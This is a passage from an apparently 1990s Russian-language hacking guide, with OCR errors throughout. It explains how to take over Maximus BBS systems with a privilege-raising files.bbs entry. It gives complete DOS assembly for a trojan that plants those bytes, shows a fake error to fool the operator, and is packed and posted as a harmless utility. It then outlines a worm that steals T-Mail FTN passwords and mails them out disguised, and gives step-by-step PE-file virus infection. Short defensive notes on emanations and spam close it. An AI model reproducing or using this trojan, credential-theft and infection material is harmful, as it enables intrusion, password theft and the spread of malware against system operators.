с языками С и Pascal. На нем можно писать собственные программы
под BBS. Скорее всего, именно поэтому большинство системных опера-
торов предпочитают использовать Maximus. После компиляции напи-
санной программы ее можно добавить в общую базу Maximus, и она
начнет работать.
Каждая откомпилированная программа приобретает определенную мас-
ку файла. Откомпилированная МЕС-программа имеет маску *. bbs, схо-
жую с маской списка файла. Обычно в этих файлах содержатся списки,
но если в коде встречаются какие-либо служебные команды, они будут
выполнены. Этим взломщик и может воспользоваться.
В Maximus существуют два языка: МЕС и МЕХ. Язык МЕС очень
прост, разобраться в нем может каждый. Он позволяет оперировать раз-
личными данными, заставками на BBS, базой пользователей. Систем-
ный оператор обязательно должен знать этот язык.
Используя команду "PRIV_UP" языка МЕС системный оператор мо-
жет без особых усилий повышать уровень пользователя, при условии,
что последний будет писать и отправлять файлы на станцию. С повы-
шением уровня, пользователь получает дополнительные возможности
(увеличивается доступное для работы время, объем информации, кото-
рую можно получить с BBS). Этим и может воспользоваться хакер. Ему
остается только найти BBS, работающую на программе Maximus, на ко-

торой есть много файловых конференций. При этом одна из этих кон-

ференций должна быть пустой (то есть в ней не должно быть файла

files.bbs, содержащего доступные файлы в данной конференции). Таким

образом, остается проверить только одно условие - если все копируе-

мые на BBS файлы помещаются в конференцию, которая была выбрана

последний раз, то такую BBS можно взломать без особых усилий. Хаке-

ру остается только создать файл files.тес, записать в него команду

PRIV_UP, затем откомпилировать этот файл при помощи компилятора

МЕССА (теперь он будет называться files.bbs) и отправить его на BBS.

С этого момента хакер может поднимать свой уровень доступа, просмат-

ривая данную конференцию, пока он не достигнет уровня системного

оператора станции. После этого компьютер окажется полностью в его

распоряжении.

Если под рукой не оказалось компилятора МЕССА, то создать files.bbs

можно и вручную. Для этого нужно создать файл files.bbs, а затем ввес-

ти в него команду повышения уровня - на языке Maximus это всего три

символа (код первого - 23h, следующие два - символы pU).

Еще один способ взлома BBS рассчитан на неграмотных системных опе-

раторов, не обладающих глубокими знаниями. Он заключается в том,

что на станцию засылается программа (причем безразлично, куда она

попадет), которая сама добавит команду повышения уровня в файл

files.bbs. Во время просмотра доступных файлов хакеру автоматически

будет подниматься уровень. Ниже приведен текст похожей исходной

программы - фантазия тут может быть безгранична. Эта программа до-

бавляет в файл files.bbs байты, повышающие уровень пользователю.

После того, как системный оператор запустит эту программу на своем

компьютере, программа ищет файл files.bbs и дописывает туда три бай-

та. Приведенный пример рассчитан на системных операторов, которые

держат свои файлы в каталоге, по умолчанию предлагаемом программой

для установки. Хотя можно добавить поиск files.bbs по всему винчесте-

ру компьютера.

assume cs:cseg, ds:cseg

cseg segment

org 100h

start:

.Найдем файл FILES.BBS

mov ah,4Eh

mov dx.offset fname

mov cx,20h

int 21 h

; Если файл отсутствует, то выйдем из программы -

;здесь нечего исправлять

jc exit

;0ткроем найденный файл

mov ax,3D02h

mov dx,9Eh

int 21 h

jc exit

-.Установим указатель чтения/записи в конец файла

mov bx.ax

mov ax,4202h

хог сх.сх

xor dx,dx

int 21h

Записываем в файл три байта

mov ah,40h

mov cx,3

mov dx.offset bytes

int 21 h

jc exit

;3акроем файл

mov ah,3Eh

int 21 h

[Выдадим сообщение об ошибке и выйдем в DOS. Дело в том,

;что отработавшая программа не должна вызвать подозрений

системного оператора. Цель - заставить системного оператора

думать, что файл испорчен. Возможно, он допустит, что иногда

;при передаче файлов происходят ошибки, и поэтому файл

;мог стать неработоспособным

exit:

[Выдадим сообщение об ошибке

mov ah,09h

mov dx, offset message

int 21 h

; Выход в DOS

mov ah,4Ch

int 21 h

;Mycop - специально для того, чтобы упаковать

;файл утилитой PKLITE

Garbage db 12000 dup ("A")

;Имя файла "FILES.BBS"

fname db "files.bbs",0

;Сообщение об ошибке

message db "CRC file error", 13,10,"$"

.Записываемые байты

bytes db 23h,"pU"

cseg ends

end start

После того, как файл откомпилирован, его нужно упаковывать, чтобы

системный оператор ничего не заподозрил. Этот файл будет содержать

большое количество непонятных символов, и при быстром просмотре

распознать скрытую в нем программу практически невозможно.

tasm.exe vzlom.asm

tlink.exe vzlom.obj /t

pklite vzlom.com

После этого файл отправляется на BBS и комментируется как демонст-

рационная программа или как утилита для DOS. Дальше взломщику

остается только ждать, пока системный оператор запустит файл. Через

некоторое время можно звонить и наслаждаться. Данный метод не сра-

ботает, если настоящая опция File Titles в Maximus заменена на ей по-

добную.

Взлом FTN-сетей


Что можно сказать о широко используемой технологии FTN? Множе-
ство лазеек для взлома. Чего стоит почтовый файл РКТ, содержащий
в себе незашифрованный пароль, узнать который никаких проблем не
составляет! А файлы с паролями в уважаемом всеми T-Mail, хранящие-
ся в нешифрованном виде и доступные любому грамотному человеку,
впрочем, как и все конфигурационные файлы наиболее распространен-
ных программ для работы с FTN? На основе подобных промахов в раз-
работке уже давно написаны программы, позволяющие сломать ту или
иную BBS, вызвать режим DoorWay и сотворить с удаленным сервером
все, что угодно. Однако это еще не предел возможностей программиста.
Подумаешь, сломать BBS! Власть над одной из BBS - ничто в сравне-
нии с тем, что хакер может держать в своей руке почту от сотен почто-
вых узлов, отправлять почту от чужого имени, действовать от лица дру-
гого члена или пользователя FTN. Фантастика? Нет - реальность.
Почитатели Эдгара По наверняка знают выражение "Червь-Победи-
тель". Собственно, любой грамотно написанный "червь" станет победи-
телем, если выйдет на свободу. Особенно с применением свежих идей.
Применяя технологию СМ (саморазмножающиеся механизмы), называ-
емую в народе "компьютерные вирусы", можно добиться немалого.
Включив в свой СМ некоторую особенность, вместо привычной дест-
рукции можно получить парольный доступ ко многим почтовым узлам
со всеми вытекающими отсюда последствиями. Как известно, при ус-
тановке соединения между двумя FTN-мейлерами они сравнивают
свои адреса и пароли. То есть сначала хост получает основной адрес
звонящего мейлера и пароль на сессию. Если в конфигурации хоста
указаны адрес и пароль звонящего и они совпадают с предъявленным
паролем, хост показывает звонящему свой пароль и при совпадении
таковых происходит парольная сессия. В подавляющем большинстве
случаев электронная почта передается только в парольные сессии,
иначе любой мейлер мог бы предъявить хосту подставной адрес и заб-

рать почту, предназначенную для других. В данном случае для того,

чтобы перехватывать чужую электронную почту или действовать от

лица какого-либо системного оператора, необходимо узнать пароли на

сессию звонящей системы и хоста, ожидающего звонка. Кто-то ирони-

чески улыбнется: "Как же их можно узнать, если нет возможности

"прикинуться хостом", чтобы звонящая система показала свои пароли,

если она звонит совсем по другому номеру телефона?!". Разумеется.

Но это не нужно. Кто-то скажет: "В таком случае получить эти паро-

ли и от хоста нельзя, поскольку он не будет предъявлять свой пароль

и не включит парольную сессию, пока не увидит, что предложенный

пароль совпадает с его паролем!" Конечно. Но это тоже не нужно.

Что же предпринять? Дело в том, что и хост, и звонящая система мо-

гут преподнести свои пароли "на блюдечке". Для этого не нужно за-

хватывать в заложники семью системного оператора или предлагать

миллионы долларов хозяину системы - достаточно разместить на ком-

пьютере системного оператора незаметную программу, которая эти па-

роли найдет и отправит на какой-либо из указанных FTN-адресов.

Вот и все. Больше ничего не нужно.

Теперь несколько возможностей реализации этого плана. В странах

бывшего СССР наиболее часто используется DOS-совместимый мей-

лер Андрея Елкина T-Mail, поэтому принципы взлома рассмотрены на

примере системы, работающей именно на его основе. Некоторые

пользуются программой Антона Дейнова "SantaFox-Mail", принципы

ее взлома похожи, кроме того, взломать эту систему гораздо легче бла-

годаря встроенной функции DoorWay. Но об этом ниже. Итак, что же

программа должна сделать с системой, чтобы заветные пароли нако-

нец-то были получены? Собственно, алгоритм весьма прост, и описать

его можно примерно так:

1. Определение расположения программы T-Mail на жестком диске

системы.

2. Определение расположения конфигурационных файлов системы.

3. Извлечение списка паролей и адресов из конфигурации системы.


4. Шифрование списка паролей и адресов с эмуляцией PGP-кодирования.

5. Отправление зашифрованного списка паролей и адресов через ап-

линка по роутингу на систему взломщика.

Теперь рассмотрим возможные способы реализации. Теоретически это

не сложно.

Как правило, системные операторы держат свой T-Mail на жестком дис-

ке. Первая задача - определить, куда же оператор спрятал свое "сокро-

вище". Тут-то и намечается разделение. Можно написать "троянца",

подсадить его в какую-либо конкретную систему и ждать, когда эта

система пришлет свои пароли по почте. Но можно написать и "вирус",

расходящийся на несколько почтовых узлов, после чего все зараженные

узлы сообщат пароли на сессии со всеми своими парольными линками.

Можно искать T-Mail по всему жесткому диску с помощью рекурсивно-

го обхода всех логических дисков и вложенных каталогов. Понятно, что

этот метод не так уж деликатен, поскольку системный оператор может

заметить, что некая программа на протяжении нескольких минут поче-

му-то занимает винчестер. От такой глупости откажемся. Другое дело,

если этим будет заниматься вирус. Почему? Да потому, что большин-

ство вирусов отслеживают вызовы функции 4Bh DOS-прерывания 21h

для заражения программ. В таком случае, что мешает этому вирусу ана-

лизировать запущенные программы на предмет "а не T-Mail ли это ча-

сом?" и находить "сокровища" именно таким образом? Ничего. Анализ

правильнее будет вести не только по имени запускаемого файла, пото-

му что системный оператор мог переименовать программу, а в данном

случае необходима максимальная надежность. Поэтому лучше всего от-

лавливать T-Mail по постоянной сигнатуре ЕХЕ-файла.

Узнав, где находится программа T-Mail, можно определить, где находят-

ся ее конфигурационные файлы. Если при запуске T-Mail ключ "-С" не

задан (кстати, перехват командной строки - это еще один довод

в пользу того, что поиск программы корректнее выполнять при помощи

вируса), основным файлом конфигурации является "T-MAIL.CTL", на-

ходящийся в том же каталоге, что и T-Mail. При запуске программы

ключ "-С" задает путь и имя основного конфигурационного файла, ко-

торый понадобится для взлома. Так что необходимо предусмотреть оба

варианта запуска. После определения места расположения основного

конфигурационного файла нужно получить путь еще к двум файлам -

файлу паролей и файлу подстановок (пароли могут находиться в обоих

файлах). Важное замечание: если пароль для какого-либо адреса указан

в файле подстановок, его дублер из файла паролей игнорируется.

Путь к файлу паролей указан в переменной Security, к файлу подстано-

вок - в переменной SubstList. Переменная конфигурационного файла -

это строка, начинающаяся со специальных слов. Например, строка:

Security C:\NETWORK\T-MAIL\PASSWORDS.LST

называется переменной Security и содержит путь и имя файла паролей,

в то время как строка

SubstList C:\NETWORK\T-MAIL\SUBST.LST

называется, соответственно, переменной SubstList и содержит путь

и имя файла подстановок. Разумеется, было бы нежелательно отправ-

лять эти два файла вложением (attach), поскольку оно может поте-

ряться. Надежнее передать эти текстовые файлы по электронной почте

в виде обычного письма. Тут возникает проблема: если системный

оператор станции, через которую будет проходить это послание (ведь

всем известно о его праве читать транзитную почту), обнаружит паро-

ли, он немедленно предупредит об этом того оператора, у кого эти па-

роли были украдены. Последний договорится со всеми линками о но-

вых паролях, и все старания окажутся напрасными. То есть в целях

конспирации придется зашифровать письмо, чтобы при его просмотре

казалось, что оно содержит прикрепленный файл. Разумеется, это

не обязательно должен быть настоящий PGP, достаточно лишь внеш-

него сходства и невозможности быстро расшифровать засекреченное

послание. Это неплохая гимнастика для ума, поскольку хакер должен

уметь не только расшифровывать, но и маскироваться, не только ло-

мать, но и строить.


Теперь нужно выбрать адрес, на который придет это письмо. Желатель-

но отправить его по e-mail в Internet через FTN-Internet гейт. Дело

в том, что в таком случае пострадавшему системному оператору будет

очень сложно найти отправителя. Очевидно, в этом письме поле

"From:" и обратный адрес должны быть подставными. Это собьет сис-

темного оператора с толку, и он не станет удалять или задерживать

письмо, особенно если в него добавлены "лишние" клуджи "(c)Via:".

О том, как создать нетмейл письмо, можно прочитать в FTS.

Почему же SantaFox-Mail сломать гораздо проще? Дело в том, что

в основном конфигурационном файле SF-Mail имеется переменная, ука-

зывающая пароль на режим DoorWay. От "червя" требуется только за-

дать какой-либо заранее известный пароль на пользование DoorWay,

после чего нужно соединиться терминальной программой с этой систе-

мой и набирать это слово. Попав в DoorWay, файлы паролей и подста-

новок можно украсть "голыми руками". Конечно, если системный опе-

ратор заметит, что кто-то брал у него эти файлы, он примет

соответствующие меры. Кроме того, после изменения паролей могут

появиться сбои в работе системы - пользователи будут пытаться войти

в DoorWay со старыми паролями, но они не будут работать. Ясно, что

оператор об этом узнает очень скоро.

Как было показано в предыдущей части, "червь" может не только воро-

вать пароли, но и задавать свои. В T-Mail нет режима DoorWay, зато

есть так называемый "главный пароль системы", заданный в перемен-

ной T-Password основного конфигурационного файла. Изменив этот

пароль, можно послать на удаленную систему письмо с соответствую-

щими указаниями к действиям и добиться нужного результата.

Об указаниях подробно написано в документации по программе T-Mail,

но нужно помнить, что системный оператор будет оповещен обо всех

несоответствиях и сбоях в работе системы.

Заражение файлов формата PE-executable


Определение положения начала РЕ-заголовка происходит аналогично
поиску начала NE-заголовка. Если смещение таблицы настройки адре-
сов (поле 18h) в заголовке ЕХЕ-файла 40h или больше, то по смещению
ЗСЬ находится смещение PE-executable заголовка. Сигнатура PE-execu-
table ("РЕ") находится, как и у NE-executable ЕХЕ-файла, в начале но-
вого заголовка.
Внутри РЕ-заголовка находится таблица объектов. Ее формат наиболее
важен по сравнению с прочими. Для добавления вирусного кода в но-
ситель и перехвата вирусом управления необходимо добавить элемент
в таблицу объектов.
Основные действия заражения PE-executable файла:
1. Найти смещение заголовка PE-executable в файле.
2. Считать достаточное количество информации из заголовка для
вычисления его полного размера.
3. Считать весь РЕ-заголовок и таблицу объектов.
4. Добавить новый объект в таблицу объектов.
5. Установить точку входа RVA на новый объект.
6. Дописать вирус к файлу по вычисленному физическому смещению.
7. Записать измененный РЕ-заголовок в файл.
Для определения расположения таблицы объектов следует воспользо-
ваться значением переменной "HeaderSize" (не путать с "NT
headersize"), которая содержит совместный размер заголовков DOS, РЕ
и таблицы объектов.
Для чтения таблицы объектов необходимо считать HeaderSize байт
от начала файла.
Таблица объектов расположена непосредственно за NT-заголовком. Зна-
чение "NTheadersize" показывает количество байт, следующих за полем
"flags". Итак, для определения смещения таблицы объектов нужно по-
лучить NTheaderSize и добавить размер поля флагов (24).
Добавление объекта: получив количество объектов, умножить его на 40
(размер элемента таблицы объектов). Таким образом определяется сме-
щение, по которому будет расположен вирус.
Данные для элемента таблицы объектов должны быть вычислены с исполь-
зованием информации в предыдущем элементе (элементе носителя).
RVA=((prev RVA+prev Virtual Size)/OBJ Alignment+1)
*OBJ Alignment
Virtual Size=((size of virus+buffer any space)/OBJ Alignment+1)
*OBJ Alignment
Physical Size=(size of virus/File Alignment+1 )*File Alignment
Physical Offset=prev Physical Offset+prev Physical Size
Object Flags=db 40h,0,O.COh
Entrypoint RVA=RVA
Теперь необходимо увеличить на единицу поле "количество объектов"
и записать код вируса по вычисленному "физическому смещению"
в размере "физического размера" байт.

Защита от ПЭМИН


Нужно помнить, что за счет побочных электромагнитных излучений
и наводок (ПЭМИН) можно считывать информацию с монитора компь-
ютера (разумеется, с помощью специальных технических средств) на
расстоянии до 200 метров, а то и больше. Также можно считывать ин-
формацию с процессора, клавиатуры, винчестера, дисковода (когда они
работают, естественно). Поэтому все криптосистемы становятся почти
бессмысленными, если не принять соответствующих мер защиты. Для
защиты от ПЭМИН рекомендуется применять генераторы белого шума
(в диапазоне от 1 до 1000 МГц) типа ГБШ-1 или Салют. Их (а также
другие интересные вещи) можно приобрести в фирмах, торгующих
спецтехникой. А можно заняться творчеством и сделать их самостоя-
тельно, используя схемы из популярной книги "Шпионские штучки"
(в Москве ее можно приобрести, например, в СК "Олимпийский" или
на радиорынке в Митино).

Защита от SPAM


Для многих пользователей Интернет SPAM (бесконечные рекламные
предложения и мусор, рассылаемый по почте) стал настоящим бед-
ствием. Основные рекомендации для защиты от SPAM следующие:
- пишите письма в конференции Usenet исключительно с ненужных
(бесплатных) адресов, потому что именно письма в конференции
Usenet являются основной "засветкой" для спамеров. А если будет
много SPAM, то такой адрес можно, что называется, выбросить
и за пару минут сделать другой подобный;
- установите какую-либо программу-фильтр для e-mail. Существует ве-
ликое множество таких программ, доступных на бесплатных серверах,
например, на http://www.shareware.com и http://www.download.com.



    Работа с информацией: Безопасность - Защита - Софт - Криптография